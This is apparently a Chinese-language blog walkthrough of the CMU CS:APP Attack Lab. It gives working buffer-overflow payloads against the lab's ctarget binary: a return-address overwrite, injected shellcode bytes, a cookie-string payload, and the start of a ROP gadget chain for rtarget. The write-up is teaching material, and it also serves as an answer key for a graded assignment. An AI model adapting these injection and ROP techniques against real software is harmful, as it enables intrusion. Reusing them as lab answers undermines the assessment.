赞
踩
在getbuf 设置断点
输入 12345678901234567890
使用 info reg 查看寄存器
rsp此时指向的内存地址 存储的应该是"1234 5678" 相对应的ascii 应该是
0x31 0x32 0x33 0x34 0x35 0x36 0x37 0x38
使用x /48x $rsp 验证一下
(字符串是顺序存放 如果存放的"12345678"是Int类型 这里内存应该是倒序的)
然后 $rsp+0x28 应该存的是 返回地址
即应该是 小端存放 0x76 0x19 0x40 0x00 0x00 0x00 0x00 0x00
那这一题就很简单了 输入字符串 然后把返回地址替换成touch1()的地址
就是 0x004017c0 但是要倒序放入 所以是 c0 17 40 00 00 00 00 00
设计的内存布局应该是这样
前面 5行(每行 16个) 无所谓
然后
./hex2raw <t1> touch1
生成字节码作为输入
./ctarget -qi touch1
思路
1.将需要注入的代码转换成字节码 作为getbuf的输入
2.注入的代码主要是 将cookie 存入rdi作为输入 然后把touch2的执行地址压栈 ret
3.getbuf()的栈帧返回地址改成 注入的代码的 的执行地址 也就是rsp-0x28
注入的代码:
vim 2.s
movq $0x59b997fa,%rdi //把cookie 存入rdi作为参数传递
pushq $0x004017ec //touch2的地址压栈
retq
gcc -c 2.s -o 2.o
objdump -d 2.o > 2.out
所以 指令的机器码是
48 c7 c7 fa 97 b9 59 //mov $0x59b997fa,%rdi
68 ec 17 40 00 //pushq $0x4017ec
c3 //retq
所以需要插入的字节码内存布局应该是这样的
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
然后
./hex2raw <2.in> touch2
root@ubuntu-s-2vcpu-4gb-sfo2-01:~/csapp/target1# ./ctarget -qi touch2
Cookie: 0x59b997fa
Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00
cookie:0x59b997fa 字符串表示就是 35 39 62 39 39 37 66 61 00
思路
就是按level 2的做 ,但是要注意的就是 要保护cookie 的存放的位置.因为 touch3 调用了hexmatch.这个函数会申请较大的空间也就是 rsp会往低地址延申很多.为了保护cookie字符串,所以我把cookie字符串放到了text()函数的栈帧里面.这样无论hexmatch怎么弄都不会影响到text()函数的栈帧(因为无论怎么调用只会让getbuf时的rsp做减法,也就是只会影响比rsp低的地址之后的空间)
3.in
48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61
00 00 00 00 00 00 00 00
./hex2raw <3.in> touch3
思路:
所以对于黄色区域 我们直接用0(什么都可以)填充了 让 输入的 溢出到text()的栈帧区域 ,也就可执行的区域,然后不断的通过跳转到这个rtarget可执行的区域.利用这些区域的指令 进行我们要做的事情
那么可执行区域要怎么设计呢
先搞清楚我们需要使用什么指令完成操作
1.把cookie 放进rdi作为参数传递
2.跳转到touch2
3.ret
代码就是
movq $0x59b997fa,%rdi
pushq $0x4017ec
ret
1.先把数字放进某个寄存器.那这就要用到popq了 根据表B,我们需要找到 存有58 -5f 这个范围指令的内存地址,然后后面还得有个c3(retq,用来跳转到下一个)
58 popq %rax
90 nop
c3 retq
所以我们就确定了第一个执行的地址是 4019a7+4 =4019ab
同时要把cookie放进去 以pop出来
2.把rax 存到 rdi 作为参数
也就是mov $rax ,$rdi 根据表A 我们要找到存放48 89 c7指令的内存地址
地址是 4019a2
3.touch2的地址 ec 17 40 00
内存布局就是
要搞明白这个原理 要清晰的知道rsp 和 rip 的变化
retq
约等于 执行了 popq $rip
popq
约等于 执行了 mov $rsp,$ 和 $rsp+8
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。